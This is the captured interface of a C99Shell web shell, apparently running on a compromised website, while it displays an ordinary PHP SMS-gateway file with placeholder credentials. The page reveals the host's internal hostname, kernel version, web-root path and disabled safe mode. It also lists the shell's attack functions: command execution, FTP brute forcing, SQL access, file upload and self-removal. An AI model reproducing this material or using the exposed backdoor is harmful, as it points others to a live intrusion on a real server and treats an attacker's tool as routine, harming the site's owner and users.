!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/itce.co.in/data/include/smsapi/   drwxr-xr-x
Free 30.71 GB of 49.93 GB (61.51%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     wausms.php (1.66 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php 
//* WAUSMS SMS Provider
//* https://www.wausms.com/
//* Change $WAUusername, $WAUpassword, $WAUsender

$WAUusername "username";
$WAUpassword "password";
$WAUsender "sender";


function 
runner_sms($number$message$parameters = array())
{
    global 
$WAUusername$WAUpassword$WAUsender;
    
    if ( !isset(
$parameters["to"]) )
        
$parameters["to"] = array($number);
    else
        
$parameters["to"] = array($parameters["to"]);

    if ( !isset(
$parameters["text"]) )
        
$parameters["text"] = $message;

    if ( !isset(
$parameters["from"]) )
        
$parameters["from"] = $WAUsender;

    
$post['to'] = $parameters["to"]; 
    
$post['text'] = $parameters["text"]; 
    
$post['from'] = $parameters["from"]; 

    
$user $WAUusername
    
$password $WAUpassword
    
$ch curl_init();
    
curl_setopt($chCURLOPT_URL"https://dashboard.wausms.com/Api/rest/message"); 
    
curl_setopt($chCURLOPT_RETURNTRANSFER1); 
    
curl_setopt($chCURLOPT_POST1); 
    
curl_setopt($chCURLOPT_POSTFIELDSjson_encode($post)); 
    
curl_setopt($ch,CURLOPT_CAINFOgetabspath('include/cacert.pem'));
    
curl_setopt($chCURLOPT_HTTPHEADER
    array( 
    
"Accept: application/json"
    
"Authorization: Basic ".base64_encode($user.":".$password))); 
    try
    {
        if (!
$result["content"] = curl_exec($ch))
            throw new 
Exception(curl_error($ch));

           
curl_close($ch);
    }
    catch ( 
Exception $e )
    {
            
$result["error"] = "CURL error: " $e->getMessage();
    }
    
$response my_json_decode($result["content"]);

    if ( !
$response["error"] )
    {
        
$result["content"] = $response;
    }
    else
    {
        
$result["error"] = $response["error"]["description"];
    }

    return 
$result;
}

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0024 ]--